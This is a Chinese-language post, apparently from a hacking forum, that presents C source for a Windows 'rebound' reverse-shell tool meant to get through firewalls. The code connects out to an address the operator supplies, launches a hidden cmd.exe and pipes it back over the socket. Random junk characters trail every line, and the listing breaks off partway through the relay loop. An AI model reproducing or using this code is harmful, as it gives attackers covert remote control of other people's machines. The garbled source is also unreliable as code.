这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 #*3 vE& p
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/* ============================== ozA%u,\7k
Rebound port in Windows NT &09G9G snQ
By wind,2006/7 7>-99o^W
===============================*/ <f0yh"?6VH
#include Z 2lX^z
#include )2r_EO@3HP
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#pragma comment(lib,"wsock32.lib") N5b&tJbM0
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void OutputShell(); =UxKa`
SOCKET sClient; },#AlShZu
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \3)U~[O>:
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void main(int argc,char **argv) DXK\3vf Ot
{ @"m+9ZY
WSADATA stWsaData; 9xL`i-7]
int nRet; 2-^['R
SOCKADDR_IN stSaiClient,stSaiServer; 1h`# H:
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if(argc != 3) )7Oj
{ Z*'_/Grv?
printf("Useage:\n\rRebound DestIP DestPort\n"); s+v$sF
return; 9W j9=
} ?:W=ddg
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WSAStartup(MAKEWORD(2,2),&stWsaData); (>dL
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2gnz=
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stSaiClient.sin_family = AF_INET; lNvxt6@s
stSaiClient.sin_port = htons(0); nDNK}O~'
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 'f6!a5qC
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) bLUyZ3m!
{ <O{G&
printf("Bind Socket Failed!\n"); 6lwWFR+k
return; q4Y'yp`?K;
} UO-,A j*wW
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stSaiServer.sin_family = AF_INET; F^Mt}`O
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); <p[RhP
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); M*F`s&vM
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) N
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{ +sXnC\
printf("Connect Error!"); 07Oagq(
return; 5gwEr170
} ) 3I|6iS
OutputShell(); %i&\X[
} P}-S[[b73s
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void OutputShell() T"E%;'(cp)
{ 3.%jet1
char szBuff[1024]; pFEU^]V3*
SECURITY_ATTRIBUTES stSecurityAttributes; C0L(ti;
OSVERSIONINFO stOsversionInfo; +b{tk=Q:
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; &9xcP.3
STARTUPINFO stStartupInfo; 5%" 0
char *szShell; sA+( |cEh
PROCESS_INFORMATION stProcessInformation; "mcuF]7F
unsigned long lBytesRead; _61tE
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ts=+k/Z
stSecurityAttributes.lpSecurityDescriptor = 0; K?V'
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stSecurityAttributes.bInheritHandle = TRUE; M'$?Jp#]}
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;zi4W1
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); OPDRV\
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -J++b2R\%
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EyV6uk~
stStartupInfo.wShowWindow = SW_HIDE; Y>K3.*.
stStartupInfo.hStdInput = hReadPipe; ;*e$k7}F
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @ oFuX.
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GetVersionEx(&stOsversionInfo); wQX%*GbL2
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switch(stOsversionInfo.dwPlatformId) *w1R>
{ M532>+A]Za
case 1: z4(Q.0x7
szShell = "command.com"; \p!mX|
break; )(`,!s,8)
default: T2k# "zD
szShell = "cmd.exe"; !^w}Sp
break; }vQY+O
} R<ZyP~
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); yzJTNLff
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send(sClient,szMsg,77,0); yzz(<s:o/
while(1) )H<F([Jri
{ vrXNa8,L
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); d~O)mJ
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if(lBytesRead) m[&